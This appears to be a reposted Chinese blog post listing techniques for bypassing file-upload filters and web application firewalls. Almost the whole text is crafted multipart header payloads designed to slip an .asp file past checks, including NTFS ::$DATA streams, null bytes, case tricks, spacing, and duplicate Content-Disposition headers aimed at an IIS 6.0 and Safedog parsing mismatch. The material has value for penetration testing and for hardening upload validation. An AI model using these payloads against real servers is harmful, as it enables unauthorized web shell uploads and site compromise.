首页 > Web开发 > 详细

文件上传tips

时间:2020-12-25 21:21:46      阅读:33      评论:0      收藏:0      [点我收藏+]

文件上传tips

文件名前缀加[0x09]绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=”[0x09]test.asp”
Content-Type: text/html


文件名去掉双引号绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=test.asp
Content-Type: text/html


添加一个filename1的文件名参数,并赋值绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=”test.asp”;filename1=”test.jpg”
Content-Type: text/html


form变量改成f+orm组合绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: f+orm-data; name=”filepath”;filename=”test.asp”
Content-Type: text/html


文件名后缀大小写绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”test.Asp”
Content-Type: text/html


去掉form-data变量绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: name=”filepath”; filename=”test.asp”
Content-Type: text/html


在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data                                 ; name=”filepath”; filename=”test.asp”
Content-Type: text/html
或
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition:                                                                                form-data ; name=”filepath”; filename=”baclion.asp”
Content-Type: text/html


test.asp . (空格+.)绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp .”
Content-Type: text/html


“回车换行,绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp
”
Content-Type: text/html


NTFS流 在文件名后加::$DATA绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp::$DATA”
Content-Type: text/html
或
——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp::$DATA\0x00\fuck.asp0x00.jpg”
Content-Type: text/html


经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传test.asp成功]:
Content-Disposition: form-data; name=”FileUploadName”; filename=”test.asp”
 
—————————–15377259221471
 
Content-Disposition: form-data; name=”FileUploadName”; filename=”test.txt”
 
Content-Type: application/octet-stream
 
Content-Disposition: form-data; name=”FileUploadName”; filename=”test.asp”
Content-Disposition: form-data;
name=”FileUploadName”; filename=”test.asp”


将Content-Type和ConTent-Disposition调换顺序位置绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Type: text/html
ConTent-Disposition: form-data; name=”filepath”; filename=”test.asp”


在文件名前缀加空格(tab键可替换)绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=    “test.asp”
Content-Type: text/html


在form-data加空格绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data;      name=”uploaded”; filename=”test.asp”
Content-Type: text/html


在form-data的前后加上+绕过:
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: +form-data; name=”filepath”; filename=”test.asp”
Content-Type: text/html
或
——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data+; name=”filepath”; filename=”test.asp”
Content-Type: text/html
参考整理源于backlion
https://www.cnblogs.com/test/p/7210954.html

文件上传tips

原文:https://www.cnblogs.com/Yang34/p/14190661.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!